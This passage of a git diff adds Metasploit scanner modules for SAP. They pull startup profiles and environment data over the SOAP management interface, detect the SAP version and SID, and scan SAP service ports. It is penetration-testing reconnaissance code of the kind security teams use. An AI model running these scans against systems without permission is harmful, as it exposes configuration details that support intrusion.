='http://www.w3.org/2001/XMLSchema-instance' + xs ='http://www.w3.org/2001/XMLSchema' + sapsess ='http://www.sap.com/webas/630/soap/features/session/' + ns1 ='ns1:GetStartProfile' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) + + env = [] + + if res.code == 200 + case res.body + when nil + # Nothing + when /([^<]+)<\/name>/i + name = "#{$1}" + success = true + end + + case res.body + when nil + # Nothing + when /([^<]+)<\/item>/i + body = [] + body = res.body + env = body.scan(/([^<]+)<\/item>/i) + success = true + end + + elsif res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = "#{$1}" + fault = true + end + + end + + rescue ::Rex::ConnectionError + print_error("[SAP] Unable to attempt authentication") + return :abort + end + + if success + print_good("[SAP] Startup Profile Extracted: #{name} from #{rhost}:#{rport}") + + if datastore['LFILE'] != '' + outputfile = datastore['LFILE'] + "_" + datastore['RHOST'] + print_good("Writing local file " + outputfile + " in XML format") + File.open(outputfile,'ab') do |f| + f << res.body + end + else + env.each do |output| + print_status("#{output}") + end + return + end + + elsif fault + print_error("[SAP] Errorcode: #{faultcode}") + return + else + print_error("[SAP] failed to request environment") + return + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb new file mode 100755 index 0000000000..b96dc60fb3 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb @@ -0,0 +1,146 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console Version Detection', + 'Version' => 'Working Copy', + 'Description' => %q{ This module simply attempts to identify the version of SAP through the SAP Management Console SOAP Interface. }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => { + 'User-Agent' => datastore['UserAgent'] + } + }, 25) + return if not res + + enum_version(ip) + end + + def enum_version(rhost) + verbose = datastore['VERBOSE'] + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + soapenv='http://schemas.xmlsoap.org/soap/envelope/' + xsi='http://www.w3.org/2001/XMLSchema-instance' + xs='http://www.w3.org/2001/XMLSchema' + sapsess='http://www.sap.com/webas/630/soap/features/session/' + ns1='ns1:GetVersionInfo' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<'+ ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) + + if res.code == 200 + body = res.body + if body.match(/([^<]+)<\/VersionInfo>/) + version = "#{$1}" + success = true + end + if body.match(/[\\\/]sap[\\\/](\w{3})/i) + sapsid = "#{$1}" + success = true + else + sapsid = "Unknown" + end + elsif res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = "#{$1}" + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("[SAP #{rhost}] Unable to attempt authentication") + return :abort + end + + if success + print_good("[SAP] Version Number Extracted - #{rhost}:#{rport}") + print_good("[SAP] Version: #{version}") + print_good("[SAP] SID: #{sapsid.upcase}") + report_note(:host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP Version', + :data => "SAP Version: #{version}") + report_note(:host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP SID', + :data => "SAP SID: #{sapsid.upcase}") + + return + elsif fault + print_error("[SAP] Errorcode: #{faultcode}") + return + else + print_error("[SAP] failed to identify version") + return + end + end +end diff --git a/modules/auxiliary/scanner/sap/sap_service_discovery.rb b/modules/auxiliary/scanner/sap/sap_service_discovery.rb new file mode 100755 index 0000000000..348c029979 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_service_discovery.rb @@ -0,0 +1,261 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'racket' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Capture + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + + def initialize + super( + 'Name' => 'SAP Service Discovery', + 'Version' => '$Revision$', + 'Description' => 'Scans for listening SAP services', + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + OptString.new('INSTANCES', [true, "Instance numbers to scan (e.g. 00-05,00-99)", "00-01"]), + OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), + OptBool.new('VERBOSE', [false, "Display verbose output", false]), + OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), + ], self.class) + + deregister_options('RPORT') + end + + def run_host(ip) + + timeout = datastore['TIMEOUT'].to_i + + instances = datastore['INSTANCES'] + + # Default ports based on SAP "TCP/IP Ports Used by SAP Applications" Document + # http://www.sdn.sap.com/irj/sdn/go/portal/prtroot/docs/library/uuid/4e515a43-0e01-0010-2da1-9bcc452c280b + + def_ports = ['32NN', '33NN', '48NN', '80NN', '36NN', '81NN', '5NN00', '5NN01', '5NN02', + '5NN03', '5NN04', '5NN05', '5NN06', '5NN07', '5NN08', '5NN10', '5NN16', + '5NN13', '5NN14', '5NN17', '5NN18', '5NN19', '21212', '21213', '59975', + '59976', '4238', '4239','4240', '4241', '3299', '3298', '515', '7200', + '7210', '7269', '7270', '7575', '5NN15', '39NN', '3909', '4NN00', '8200', + '8210', '8220', '8230', '4363', '4444', '4445', '9999', '3NN01', '3NN02', + '3NN03', '3NN04', '3NN05', '3NN06', '3NN07', '3NN08', '3NN11', '3NN17', + '20003', '20004', '20005', '20006', '20007', '31596', '31597', '31602', + '31601', '31604', '2000', '2001', '2002', '8355', '8357', '8351' ,'8352', + '8353', '8366', '1090', '1095', '20201', '1099', '1089'] + ports = [] + + # Build ports array from valid instance numbers + instances.split(/,/).each do |item| + start, stop = item.split(/-/).map do |p| + p.to_i + end + + start ||= 0 + stop ||= item.match(/-/) ? 99 : start + start, stop = stop, start if stop < start + + start.upto(stop) do |p| + ports << p + end + + end + + # Sort, and remove dups and invalid instance numbers (00-99 valid) + ports.sort.uniq.delete_if do |p| + p < 00 or p > 99 + end + + final_ports = [] + + ports.each do |inst| + inst = inst.to_s + if inst.length < 2 + inst = '0' +inst + end + def_ports.each do |dport| + if dport.length < 2 + dport = '0' +dport + end + + final_ports << dport.gsub("NN", inst) + end + end + + ports = final_ports + + if ports.empty? + print_error("Error: No valid ports specified") + return + end + + print_status("[SAP] Beginning service Discovery '#{ip}'\n") + + while(ports.length > 0) + t = [] + r = [] + begin + 1.upto(datastore['CONCURRENCY']) do + this_port = ports.shift + break if not this_port + t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port| + begin + s = connect(false, + { + 'RPORT' => port, + 'RHOST' => ip, + 'ConnectTimeout' => (timeout / 1000.0) + }) + #print_status("#{ip}:#{port} - TCP OPEN") + case port + when /^3299$/ + service = "SAP Router" + when /^3298$/ + service = "SAP niping (Network Test Program)" + when /^32[0-9][0-9]/ + service = "SAP Dispatcher sapdp" + port.to_s[-2,2] + when /^33[0-9][0-9]/ + service = "SAP Gateway sapgw" + port.to_s[-2,2] + when /^48[0-9][0-9]/ + service = "SAP Gateway [SNC] sapgw" + port.to_s[-2,2] + when /^80[0-9][0-9]/ + service = "SAP ICM HTTP" + when /^36[0-9][0-9]/ + service = "SAP Message Server sapms" + port.to_s[-2,2] + when /^81[0-9][0-9]/ + service = "SAP Message Server [HTTP]" + when /^5[0-9][0-9]00/ + service = "SAP JAVA EE Dispatcher [HTTP]" + when /^5[0-9][0-9]01/ + service = "SAP JAVA EE Dispatcher [HTTPS]" + when /^5[0-9][0-9]02/ + service = "SAP JAVA EE Dispatcher [IIOP]" + when /^5[0-9][0-9]03/ + service = "SAP JAVA EE Dispatcher [IIOP over SSL]" + when /^5[0-9][0-9]04/ + service = "SAP JAVA EE Dispatcher [P4]" + when /^5[0-9][0-9]05/ + service = "SAP JAVA EE Dispatcher [P4 over HTTP]" + when /^5[0-9][0-9]06/ + service = "SAP JAVA EE Dispatcher [P4 over SSL]" + when /^5[0-9][0-9]07/ + service = "SAP JAVA EE Dispatcher [IIOP]" + when /^5[0-9][0-9]08/ + service = "SAP JAVA EE Dispatcher [Telnet]" + when /^5[0-9][0-9]10/ + service = "SAP JAVA EE Dispatcher [JMS]" + when /^5[0-9][0-9]16/ + service = "SAP JAVA Enq. Replication" + when /^5[0-9][0-9]13/ + service = "SAP StartService [SOAP] sapctrl" +port.to_s[1,2] + when /^5[0-9][0-9]14/ + service = "SAP StartService [SOAP over SSL] sapctrl" +port.to_s[1,2] + when /^5[0-9][0-9]1(7|8|9)/ + service = "SAP Software Deployment Manager" + when /^2121(2|3)/ + service = "SAPinst" + when /^5997(5|6)/ + service = "SAPinst (IBM AS/400 iSeries)" + when /^42(3|4)(8|9|0|1$)/ + service = "SAP Upgrade" + when /^515$/ + service = "SAPlpd" + when /^7(2|5)(00|10|69|70|75$)/ + service = "LiveCache MaxDB (formerly SAP DB)" + when /^5[0-9][0-9]15/ + service = "DTR - Design Time Repository" + when /^3909$/ + service = "ITS MM (Mapping Manager) sapvwmm00_" + when /^39[0-9][0-9]$/ + service = "ITS AGate sapavw00_" + when /^4[0-9][0-9]00/ + "IGS Multiplexer" + when /^8200$/ + service = "XI JMS/JDBC/File Adapter" + when /^8210$/ + service = "XI JMS Adapter" + when /^8220$/ + service = "XI JDBC Adapter" + when /^8230$/ + service = "XI File Adapter" + when /^4363$/ + service = "IPC Dispatcher" + when /^4444$/ + service = "IPC Dispatcher" + when /^4445$/ + service = "IPC Data Loader" + when /^9999$/ + "IPC Server" + when /^3[0-9][0-9](0|1)(1|2|3|4|5|6|7|8$)/ + service = "SAP Software Deployment Manager" + when /^2000(3|4|5|6|7$)/ + service = "MDM (Master Data Management)" + when /^3159(6|7$)/ + service = "MDM (Master Data Management)" + when /^3160(2|3|4$)/ + service = "MDM (Master Data Management)" + when /^200(0|1|2$)/ + service = "MDM Server (Master Data Management)" + when /^83(5|6)(1|2|3|5|6|7$)/ + service = "MDM Server (Master Data Management)" + when /^109(0|5$)/ + service = "Content Server / Cache Server" + when /^20201$/ + service = "CRM - Central Software Deployment Manager" + when /^10(8|9)9$/ + service = "PAW - Performance Assessment Workbench" + else + service = "Unknown Service" + end + print_good("#{ip}:#{port}\t - #{service} OPEN") + + report_note(:host => '#{ip}', + :proto => 'TCP', + :port => '#{port}', + :type => 'SAP', + :data => "#{service}") + + r << [ip,port,"open"] + rescue ::Rex::ConnectionRefused + print_status("#{ip}:#{port}\t - TCP closed") if datastore['VERBOSE'] + r << [ip,port,"closed"] + rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}") + ensure + disconnect(s) rescue nil + end + end + end + t.each {|x| x.join } + + rescue ::Timeout::Error + ensure + t.each {|x| x.kill rescue nil } + end + + r.each do |res| + report_service(:host => res[0], :port => res[1], :state => res[2]) + end + end + end +end